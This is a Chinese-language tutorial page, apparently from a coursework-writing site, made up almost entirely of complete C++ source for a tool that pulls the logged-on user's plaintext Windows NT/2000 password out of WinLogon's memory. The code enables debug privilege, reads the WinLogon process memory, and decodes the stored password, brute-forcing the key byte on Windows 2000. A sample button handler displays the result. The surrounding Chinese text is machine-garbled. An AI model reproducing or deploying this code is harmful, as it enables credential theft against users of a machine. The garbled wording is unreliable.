获取WinNT/Win2k当前用户名和暗码
当前位置:以往代写 > C/C++ 教程 >获取WinNT/Win2k当前用户名和暗码
2019-06-13

获取WinNT/Win2k当前用户名和暗码

获取WinNT/Win2k当前用户名和暗码

在Win2k下试验乐成.

// 获取WinNT/Win2k当前用户名和暗码,挪用以下函数即可:
// bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
//---------------------------------------------------------------------------
typedef struct _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _QUERY_SYSTEM_INFORMATION
{
  DWORD GrantedAccess;
  DWORD PID;
  WORD HandleType;
  WORD HandleId;
  DWORD Handle;
}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
  DWORD Count;
  DWORD Unk04;
  DWORD Unk08;
}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
  DWORD LoadAddress;
  DWORD Size;
  DWORD Unk08;
  DWORD Enumerator;
  DWORD Unk10;
  char Name [0x108];
}PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
  DWORD HashByte;
  DWORD Unk04;
  DWORD Unk08;
  DWORD Unk0C;
  FILETIME LoggedOn;
  DWORD Unk18;
  DWORD Unk1C;
  DWORD Unk20;
  DWORD Unk24;
  DWORD Unk28;
  UNICODE_STRING EncodedPassword;
}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);
// Private Prototypes
BOOL IsWinNT(void);
BOOL IsWin2K(void);
BOOL AddDebugPrivilege(void);
DWORD FindWinLogon(void);
BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
void ReturnWinNTPwd(String &, String &, String &);
void ReturnWin2kPwd(String &, String &, String &);
bool GetPassword(String &, String &, String &);
// Global Variables
PFNNTQUERYSYSTEMINFORMATION  pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER   pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER  pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING  pfnRtlRunDecodeUnicodeString;
DWORD dwPwdLen = 0;
PVOID pvRealPwd = NULL;
PVOID pvPwd = NULL;
DWORD dwHashByte = 0;
wchar_t wszUserName[0x400];
wchar_t wszUserDomain[0x400];
//---------------------------------------------------------------------------
bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
   if(!IsWinNT() && !IsWin2K())
  {
   // 只适合于2000可能xp
   return false;
  }
  // Add debug privilege to PasswordReminder -
  // this is needed for the search for Winlogon.
  if(!AddDebugPrivilege())
  {
   // 不可以或许添加debug特权
   return false;
  }
  // debug特权已经乐成插手到本措施
  HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
  pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
    GetProcAddress(hNtDll,"NtQuerySystemInformation");
  pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
    GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
  pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
    GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
  pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)
    GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");
  pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING)
    GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString");
  // Locate WinLogon's PID - need debug privilege and admin rights.
  DWORD dwWinLogonPID = FindWinLogon ();
  if(!dwWinLogonPID)
  {
   // 找不到历程WinLogon 可能正在利用 NWGINA.DLL
   // 导致不能在内存中找到暗码
   FreeLibrary(hNtDll);
   return false;
  }
  // Format("主历程WinLogon的id是 %d (0x%8.8x).\n",
  // ARRAYOFCONST(((int)dwWinLogonPID, (int)dwWinLogonPID))));
  // Set values to check memory block against.
  memset(wszUserName, 0, sizeof (wszUserName));
  memset(wszUserDomain, 0, sizeof (wszUserDomain));
  GetEnvironmentVariableW(L"USERNAME",wszUserName,0x400);
  GetEnvironmentVariableW(L"USERDOMAIN", wszUserDomain, 0x400);
  // Locate the block of memory containing
  // the password in WinLogon's memory space.
  BOOL bFoundPasswordPage;
  //bFoundPasswordPage = FALSE;
  if(IsWin2K())
   bFoundPasswordPage = LocatePasswordPageWin2K(dwWinLogonPID, &dwPwdLen);
  else
   bFoundPasswordPage = LocatePasswordPageWinNT(dwWinLogonPID, &dwPwdLen);
  if(bFoundPasswordPage)
  {
   if(dwPwdLen == 0)
   {
    // Format("登岸信息为: 域名:%S/暗码:%S.\n",
    // ARRAYOFCONST((wszUserDomain, wszUserName))));
    // 暗码长度为空,系统没有暗码
   }
   else
   {
    // Format("找到了暗码,长度为%d\n", ARRAYOFCONST(((int)dwPwdLen))));
    // Decode the password string.
    if(IsWin2K())
     ReturnWin2kPwd(strCurrDomain, strCurrUser, strCurrPwd);
    else
     ReturnWinNTPwd(strCurrDomain, strCurrUser, strCurrPwd);
   }
  }
  else
  {
   FreeLibrary(hNtDll);
   return false;
  }// 没有在内存中间找到暗码
  return true;
}
//---------------------------------------------------------------------------
BOOL IsWinNT(void)
{
  OSVERSIONINFO OSVersionInfo;
  OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
  if(GetVersionEx(&OSVersionInfo))
   return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
  else
   return (FALSE);
}
//---------------------------------------------------------------------------
BOOL IsWin2K(void)
{
  OSVERSIONINFO OSVersionInfo;
  OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
  if (GetVersionEx(&OSVersionInfo))
   return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
     && (OSVersionInfo.dwMajorVersion == 5));
  else
   return (FALSE);
}
//---------------------------------------------------------------------------
BOOL AddDebugPrivilege(void)
{
  HANDLE Token;
  TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
  DWORD ReturnLength = 0;
  if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
   if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid))
   {
    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    return (AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges,
      sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength));
   }
  return (FALSE);
}
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD FindWinLogon(void)
{
  #define INITIAL_ALLOCATION 0x100
  DWORD dwRc = 0;
  DWORD dwSizeNeeded = 0;
  PVOID pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION);
  // Find how much memory is required.
  pfnNtQuerySystemInformation(0x10, pvInfo, INITIAL_ALLOCATION, &dwSizeNeeded);
  HeapFree(GetProcessHeap(), 0, pvInfo);
  // Now, allocate the proper amount of memory.
  pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSizeNeeded);
  DWORD dwSizeWritten = dwSizeNeeded;
  if(pfnNtQuerySystemInformation(0x10, pvInfo, dwSizeNeeded, &dwSizeWritten))
  {
   HeapFree(GetProcessHeap(), 0, pvInfo);
   return (0);
  }
  DWORD dwNumHandles = dwSizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
  if(dwNumHandles == 0)
  {
   HeapFree(GetProcessHeap(), 0, pvInfo);
   return (0);
  }
  PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
   (PQUERY_SYSTEM_INFORMATION) pvInfo;
  try
  {
   for(DWORD i=1; i<=dwNumHandles; i++)
   {
    // "5" is the value of a kernel object type process.
    if (QuerySystemInformationP->HandleType == 5)
    {
     PVOID pvDebugBuffer = pfnRtlCreateQueryDebugBuffer(0, 0);
     if(pfnRtlQueryProcessDebugInformation
       (QuerySystemInformationP->PID, 1, pvDebugBuffer) == 0)
     {
      PPROCESS_INFO_HEADER pihProcessInfoHeader =
       (PPROCESS_INFO_HEADER)((DWORD)pvDebugBuffer + 0x60);
      DWORD dwCount = pihProcessInfoHeader->Count;
      PPROCESS_INFO piProcessInfo = (PPROCESS_INFO)
       ((DWORD)pihProcessInfoHeader + sizeof (PROCESS_INFO_HEADER));
      // Form1->Memo1->Lines->Add(piProcessInfo->Name);
      AnsiString strName = piProcessInfo->Name;
      // if(strstr((char *)UpCase(*piProcessInfo->Name), "WINLOGON") != 0)
      if(strName.UpperCase().Pos("WINLOGON") != 0)
      {
       DWORD dwTemp = (DWORD)piProcessInfo;
       for (DWORD j=0; j<dwCount; j++)
       {
        dwTemp += sizeof (PROCESS_INFO);
        piProcessInfo = (PPROCESS_INFO)dwTemp;
        strName = piProcessInfo->Name;
        if(strName.UpperCase().Pos("NWGINA") !=0 )
         return (0);
        if(strName.UpperCase().Pos("MSGINA") !=0 )
         dwRc =QuerySystemInformationP->PID;
       }
       if(pvDebugBuffer)
        pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
       HeapFree(GetProcessHeap(), 0, pvInfo);
       return (dwRc);
      }
     }
     if (pvDebugBuffer)
      pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
    }
    DWORD dwTemp = (DWORD)QuerySystemInformationP;
    dwTemp += sizeof(QUERY_SYSTEM_INFORMATION);
    QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dwTemp;
   }
  }
  catch(...)
  {}
  HeapFree(GetProcessHeap(), 0, pvInfo);
  return (dwRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWinNT(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
  #define USER_DOMAIN_OFFSET_WINNT  0x200
  #define USER_PASSWORD_OFFSET_WINNT 0x400
  BOOL bRc = FALSE;
  HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
    FALSE, dwWinLogonPID);
  if(!hWinLogonHandle)
   return (bRc);
  *pdwPwdLen = 0;
  SYSTEM_INFO siSystemInfo;
  GetSystemInfo(&siSystemInfo);
  DWORD dwPEB = 0x7ffdf000;
  DWORD dwBytesCopied = 0;
  PVOID pvEBP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, siSystemInfo.dwPageSize);
  if(!ReadProcessMemory(hWinLogonHandle, (PVOID)dwPEB, pvEBP,
    siSystemInfo.dwPageSize, &dwBytesCopied))
  {
   CloseHandle(hWinLogonHandle);
   return (bRc);
  }
  // Grab the value of the 2nd DWORD in the TEB.
  PDWORD pdwWinLogonHeap = (PDWORD)((DWORD)pvEBP + (6 * sizeof (DWORD)));
  MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
  if(VirtualQueryEx(hWinLogonHandle, (PVOID) *pdwWinLogonHeap,
    &mbiMemoryBasicInfor, sizeof(MEMORY_BASIC_INFORMATION)))
   if(((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
     ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
   {
    PVOID pvWinLogonMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
      mbiMemoryBasicInfor.RegionSize);
    if(ReadProcessMemory(hWinLogonHandle, (PVOID)*pdwWinLogonHeap,
      pvWinLogonMem, mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
    {
     DWORD i = (DWORD)pvWinLogonMem;
     DWORD dwUserNamePos = 0;
     // The order in memory is wszUserName followed by the wszUserDomain.
     do
     {
      if((wcscmp(wszUserName, (wchar_t *)i) == 0) &&
        (wcscmp(wszUserDomain, (wchar_t *)
        (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
      {
       dwUserNamePos = i;
       break;
      }
      i += 2;
     }while(i < (DWORD)pvWinLogonMem + mbiMemoryBasicInfor.RegionSize);
     if(dwUserNamePos)
     {
      PENCODED_PASSWORD_INFO pepiEncodedPwdInfo =
        (PENCODED_PASSWORD_INFO)((DWORD)dwUserNamePos +
        USER_PASSWORD_OFFSET_WINNT);
      FILETIME ftLocalFileTime;
      SYSTEMTIME stSystemTime;
      if(FileTimeToLocalFileTime(&pepiEncodedPwdInfo->LoggedOn,
       &ftLocalFileTime))
       if(FileTimeToSystemTime(&ftLocalFileTime, &stSystemTime))
       {}
       // Format("你的登岸时间为: %d/%d/%d %d:%d:%d\n",
       // ARRAYOFCONST((stSystemTime.wMonth, stSystemTime.wDay,
       // stSystemTime.wYear, stSystemTime.wHour,
       // stSystemTime.wMinute, stSystemTime.wSecond))));
      *pdwPwdLen = (pepiEncodedPwdInfo->EncodedPassword.Length
        & 0x00ff) / sizeof (wchar_t);
      dwHashByte = (pepiEncodedPwdInfo->EncodedPassword.Length
        & 0xff00) >> 8;
      pvRealPwd = (PVOID)(*pdwWinLogonHeap + (dwUserNamePos -
        (DWORD)pvWinLogonMem) + USER_PASSWORD_OFFSET_WINNT + 0x34);
      pvPwd = (PVOID)((PBYTE)(dwUserNamePos +
        USER_PASSWORD_OFFSET_WINNT + 0x34));
      bRc = TRUE;
     }
    }
   }
  HeapFree(GetProcessHeap(), 0, pvEBP);
  CloseHandle(hWinLogonHandle);
  return (bRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWin2K(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
  #define USER_DOMAIN_OFFSET_WIN2K 0x400
  #define USER_PASSWORD_OFFSET_WIN2K 0x800
  HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION |
    PROCESS_VM_READ, FALSE, dwWinLogonPID);
  if(hWinLogonHandle == 0)
   return (FALSE);
  *pdwPwdLen = 0;
  SYSTEM_INFO siSystemInfo;
  GetSystemInfo(&siSystemInfo);
  DWORD i = (DWORD)siSystemInfo.lpMinimumApplicationAddress;
  DWORD dwMaxMemory = (DWORD) siSystemInfo.lpMaximumApplicationAddress;
  DWORD dwIncrement = siSystemInfo.dwPageSize;
  MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
  while(i < dwMaxMemory)
  {
   if(VirtualQueryEx(hWinLogonHandle, (PVOID)i, &mbiMemoryBasicInfor,
     sizeof (MEMORY_BASIC_INFORMATION)))
   {
    dwIncrement = mbiMemoryBasicInfor.RegionSize;
    if (((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
      ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
    {
     PVOID pvRealStartingAddress = HeapAlloc(GetProcessHeap(),
       HEAP_ZERO_MEMORY, mbiMemoryBasicInfor.RegionSize);
     DWORD dwBytesCopied = 0;
     if(ReadProcessMemory(hWinLogonHandle, (PVOID)i, pvRealStartingAddress,
       mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
     {
      if((wcscmp((wchar_t *)pvRealStartingAddress, wszUserName) == 0)
        && (wcscmp((wchar_t *)((DWORD)pvRealStartingAddress +
        USER_DOMAIN_OFFSET_WIN2K), wszUserDomain) == 0))
      {
       pvRealPwd = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K);
       pvPwd = (PVOID)((DWORD)pvRealStartingAddress +
         USER_PASSWORD_OFFSET_WIN2K);
       // Calculate the length of encoded unicode string.
       PBYTE pbTemp = (PBYTE)pvPwd;
       DWORD dwLoc = (DWORD)pbTemp;
       DWORD dwLen = 0;
       if((*pbTemp == 0) && (*(PBYTE)((DWORD)pbTemp + 1) == 0))
       {}
       else
        do
        {
         dwLen++;
         dwLoc += 2;
         pbTemp = (PBYTE) dwLoc;
        }while(*pbTemp != 0);
       *pdwPwdLen = dwLen;
       CloseHandle(hWinLogonHandle);
       return (TRUE);
      }
     }
     HeapFree(GetProcessHeap(), 0, pvRealStartingAddress);
    }
   }
   else
    dwIncrement = siSystemInfo.dwPageSize;
   // Move to next memory block.
   i += dwIncrement;
  }
  CloseHandle(hWinLogonHandle);
  return (FALSE);
}
//---------------------------------------------------------------------------
void ReturnWinNTPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
  UNICODE_STRING usEncodedString;
  usEncodedString.Length = (WORD)dwPwdLen * sizeof(wchar_t);
  usEncodedString.MaximumLength =
   ((WORD)dwPwdLen * sizeof (wchar_t)) + sizeof(wchar_t);
  usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
    HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
  CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof(wchar_t));
  // Finally - decode the password.
  // Note that only one call is required since the hash-byte
  // was part of the orginally encoded string.
  pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte, &usEncodedString);
  strCurrDomain = String(wszUserDomain);
  strCurrUser = String(wszUserName);
  strCurrPwd = AnsiString(usEncodedString.Buffer);
  // Format("你的登岸信息是 域名:%S  用户名:%S 暗码:%S\n",
  // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
  // Format("The hash byte is: 0x%2.2x.\n", ARRAYOFCONST(((int)dwHashByte))));
  HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
void ReturnWin2kPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
  // DWORD dwHash = 0;
  UNICODE_STRING usEncodedString;
  usEncodedString.Length = (USHORT)dwPwdLen * sizeof(wchar_t);
  usEncodedString.MaximumLength =
   ((USHORT)dwPwdLen * sizeof(wchar_t)) + sizeof(wchar_t);
  usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
    HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
  // This is a brute force technique since the hash-byte
  // is not stored as part of the encoded string - :>(.
  for(DWORD i=0; i<=0xff; i++)
  {
   CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof (wchar_t));
   // Finally - try to decode the password.
   pfnRtlRunDecodeUnicodeString((BYTE)i, &usEncodedString);
   // Check for a viewable password.
   PBYTE pbTemp = (PBYTE)usEncodedString.Buffer;
   BOOL bViewable = TRUE;
   DWORD j, k;
   for(j=0; (j<dwPwdLen) && bViewable; j++)
   {
    if((*pbTemp) && (*(PBYTE)(DWORD(pbTemp) + 1) == 0))
    {
     if(*pbTemp < 0x20)
      bViewable = FALSE;
     if(*pbTemp > 0x7e)
      bViewable = FALSE;
    }
    else
     bViewable = FALSE;
    k = DWORD(pbTemp);
    k += 2;
    pbTemp = (PBYTE)k;
   }
   if(bViewable)
   {
    strCurrDomain = String(wszUserDomain);
    strCurrUser = String(wszUserName);
    strCurrPwd = String(usEncodedString.Buffer);
    // Format("你的登岸信息为: 域名:%S 用户名:%S 暗码:%S\n",
    // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
    // Format("The hash byte is: 0x%2.2x.\n", ARRAYOFCONST(((int)i))));
   }
  }
  HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
// 挪用举例
void __fastcall TForm1::Button1Click(TObject *Sender)
{
  String strCurrDomain, strCurrUser, strCurrPwd;
  GetPassword(strCurrDomain, strCurrUser, strCurrPwd);
  Memo1->Lines->Add(strCurrDomain);
  Memo1->Lines->Add(strCurrUser);
  Memo1->Lines->Add(strCurrPwd);
}

    关键字:

在线提交作业